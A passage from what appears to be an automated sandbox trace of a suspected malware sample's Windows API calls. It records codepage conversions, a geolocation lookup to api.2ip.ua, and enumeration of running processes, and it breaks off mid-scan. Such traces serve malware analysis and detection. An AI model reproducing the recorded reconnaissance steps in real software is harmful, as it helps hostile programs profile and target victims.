¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0034.117] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f3a8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0034.117] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fb78, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x44\xa8\x3e\xae\xb4\xfd\x18", lpUsedDefaultChar=0x0) returned 256 [0034.117] GetLastError () returned 0x0 [0034.117] SetLastError (dwErrCode=0x0) [0034.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc78, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc78, cbMultiByte=256, lpWideCharStr=0x18f5c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0034.117] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0034.117] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f3b8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0034.117] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fa78, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x44\xa8\x3e\xae\xb4\xfd\x18", lpUsedDefaultChar=0x0) returned 256 [0034.117] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0034.117] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x800) returned 0xd9f970 [0034.117] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x4091c1 [0034.117] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xda1c60) returned 0x80 [0034.118] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xda1c60) returned 0x80 [0034.118] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xda1c60) returned 0x80 [0034.118] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xda1c60) returned 0x80 [0034.118] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x110) returned 0xda1ce8 [0034.118] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xda1c60) returned 0x80 [0034.118] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x10) returned 0xd9d220 [0034.118] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xda1c60) returned 0x80 [0034.119] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xda1c60) returned 0x80 [0034.119] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xda1c60) returned 0x80 [0034.119] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xda1c60) returned 0x80 [0034.120] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0035.028] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x40) returned 0xd06cf8 [0035.028] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0041.982] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18c078, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18e878 | out: lpBuffer=0x18c078*, lpdwNumberOfBytesRead=0x18e878*=0x1d1) returned 1 [0041.983] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0041.985] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0041.985] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x20) returned 0xdaa770 [0041.985] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x1e0) returned 0x3a13d88 [0041.985] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x3a13d88 | out: hHeap=0xcf0000) returned 1 [0041.985] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0xdaa770 | out: hHeap=0xcf0000) returned 1 [0041.985] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0xd06cf8 | out: hHeap=0xcf0000) returned 1 [0041.985] GetCurrentProcess () returned 0xffffffff [0041.986] GetLastError () returned 0x2 [0041.986] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0041.986] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x10) returned 0xdcb7b0 [0041.986] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x110) returned 0x39c6008 [0041.986] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x800) returned 0xddce70 [0041.986] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xddce70, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe")) returned 0x5e [0041.986] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0041.986] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x810) returned 0x3a091c8 [0041.986] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" " [0041.986] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" ", pNumArgs=0x18e958 | out: pNumArgs=0x18e958) returned 0x395df60*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" [0041.986] lstrcpyW (in: lpString1=0x18f608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" [0041.987] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" " [0041.987] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" ", pNumArgs=0x18e8f4 | out: pNumArgs=0x18e8f4) returned 0x395df60*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" [0041.987] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe") returned="LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" [0041.987] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0041.987] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcesses") returned 0x0 [0041.988] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcessModules") returned 0x0 [0041.988] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleBaseNameW") returned 0x0 [0041.988] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x75140000 [0042.016] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcesses") returned 0x75141544 [0042.017] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcessModules") returned 0x75141408 [0042.017] GetProcAddress (hModule=0x75140000, lpProcName="GetModuleBaseNameW") returned 0x7514152c [0042.017] EnumProcesses (in: lpidProcess=0x1840f0, cb=0xa000, lpcbNeeded=0x18e900 | out: lpidProcess=0x1840f0, lpcbNeeded=0x18e900) returned 1 [0042.020] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0042.020] CloseHandle (hObject=0x0) returned 0 [0042.020] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0042.020] CloseHandle (hObject=0x0) returned 0 [0042.020] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0042.020] CloseHandle (hObject=0x0) returned 0 [0042.020] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0042.020] CloseHandle (hObject=0x0) returned 0 [0042.020] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0042.020] CloseHandle (hObject=0x0) returned 0 [0042.020] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0042.020] CloseHandle (hObject=0x0) returned 0 [0042.020] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0042.020] CloseHandle (hObject=0x0) returned 0 [0042.020] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0042.020] CloseHandle (hObject=0x0) returned 0 [0042.020] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0042.020] CloseHandle (hObject=0x0) returned 0 [0042.020] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0042.020] CloseHandle (hObject=0x0) returned 0 [0042.020] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0042.020] CloseHandle (hObject=0x0) returned 0 [0042.020] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0042.020] CloseHandle (hObject=0x0) returned 0 [0042.021] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0042.021] CloseHandle (hObject=0x0) returned 0 [0042.021] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x0 [0042.021] CloseHandle (hObject=0x0) returned 0 [0042.021] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x0 [0042.021] CloseHandle (hObject=0x0) returned 0 [0042.021] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a8) returned 0x0 [0042.021] CloseHandle (hObject=0x0) returned 0 [0042.021] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f8) returned 0x0 [0042.021] CloseHandle (hObject=0x0) returned 0 [0042.021] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x124) returned 0x0 [0042.021] CloseHandle (hObject=0x0) returned 0 [0042.021] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x5b8 [0042.021] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 0 [0042.021] CloseHandle (hObject=0x5b8) returned 1 [0042.021] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x5b8 [0042.021] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 0 [0042.022] CloseHandle (hObject=0x5b8) returned 1 [0042.022] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x480) returned 0x0 [0042.022] CloseHandle (hObject=0x0) returned 0 [0042.022] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4ac) returned 0x5b8 [0042.022] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 0 [0042.022] CloseHandle (hObject=0x5b8) returned 1 [0042.022] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d4) returned 0x0 [0042.022] CloseHandle (hObject=0x0) returned 0 [0042.022] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x50c) 